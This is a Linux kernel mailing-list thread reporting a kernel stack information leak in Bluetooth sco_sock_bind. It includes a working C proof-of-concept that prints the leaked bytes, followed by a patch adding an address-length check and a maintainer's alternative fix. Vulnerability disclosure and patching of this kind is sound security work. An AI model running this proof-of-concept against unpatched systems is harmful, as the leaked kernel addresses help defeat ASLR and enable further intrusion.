Information leak in sco_sock_bind

[Dmitry Vyukov]

Hello,

The following program leads to leak of 6 bytes from kernel stack:

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

struct sockaddr_sco {
sa_family_t sco_family;
char sco_bdaddr[6];
};

#define BTPROTO_SCO 2

int main(void)
{
struct sockaddr sa;
struct sockaddr_sco sco_sa;
unsigned len, i, try;
int fd;

for (try = 0; try < 3; try++) {
fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
if (fd == -1)
return;
switch (try) {
case 0:
break;
case 1:
sched_yield();
break;
case 2:
open("/dev/null", O_RDONLY);
}
memset(&sco_sa, 0, sizeof(sco_sa));
sco_sa.sco_family = AF_BLUETOOTH;
bind(fd, &sco_sa, 2);
len = sizeof(sa);
getsockname(fd, &sa, &len);
for (i = 0; i < len; i++)
printf("%02x", ((unsigned char*)&sa)[i]);
printf("\n");
}
return 0;
}

Output:
1f00333e0088ffff
1f00c13e0088ffff
1f002081ffffffff

The problem is that sco_sock_bind does not check sockaddr_len passed
in, so it copies stack garbage from stack into the socket. This can
defeat ASLR, leak crypto keys, etc.
We've just fixed a similar issue in pptp_bind. The similar issue is in
llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
bug in iucv_sock_bind, it is S390 specific, so I can't test it.

Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
or add addr size to proto struct to prevent all such existing and
future bugs.

[David Miller]

From: Dmitry Vyukov <dvy...@google.com>
Date: Tue, 15 Dec 2015 21:02:30 +0100

> The following program leads to leak of 6 bytes from kernel stack:

This should fix it:

====================
[PATCH] bluetooth: Validate socket address length in sco_sock_bind().

Signed-off-by: David S. Miller <da...@davemloft.net>
---
net/bluetooth/sco.c | 3 +++
1 file changed, 3 insertions(+)

diff --git a/net/bluetooth/sco.c b/net/bluetooth/sco.c
index fe12966..f52bcbf 100644
--- a/net/bluetooth/sco.c
+++ b/net/bluetooth/sco.c
@@ -526,6 +526,9 @@ static int sco_sock_bind(struct socket *sock, struct sockaddr *addr,
if (!addr || addr->sa_family != AF_BLUETOOTH)
return -EINVAL;

+ if (addr_len < sizeof(struct sockaddr_sco))
+ return -EINVAL;
+
lock_sock(sk);

if (sk->sk_state != BT_OPEN) {
--
2.4.1

[Marcel Holtmann]

Hi Dave,

>> The following program leads to leak of 6 bytes from kernel stack:
>
> This should fix it:
>
> ====================
> [PATCH] bluetooth: Validate socket address length in sco_sock_bind().
>
> Signed-off-by: David S. Miller <da...@davemloft.net>
> ---
> net/bluetooth/sco.c | 3 +++
> 1 file changed, 3 insertions(+)
>
> diff --git a/net/bluetooth/sco.c b/net/bluetooth/sco.c
> index fe12966..f52bcbf 100644
> --- a/net/bluetooth/sco.c
> +++ b/net/bluetooth/sco.c
> @@ -526,6 +526,9 @@ static int sco_sock_bind(struct socket *sock, struct sockaddr *addr,
> if (!addr || addr->sa_family != AF_BLUETOOTH)
> return -EINVAL;
>
> + if (addr_len < sizeof(struct sockaddr_sco))
> + return -EINVAL;
> +
> lock_sock(sk);
>
> if (sk->sk_state != BT_OPEN) {

thanks for the patch, but I think we do the same as we do with all the other Bluetooth socket and copy it into cleared stack variable. I have a patch for that and will ask Johan to send a pull request shortly.

Regards

Marcel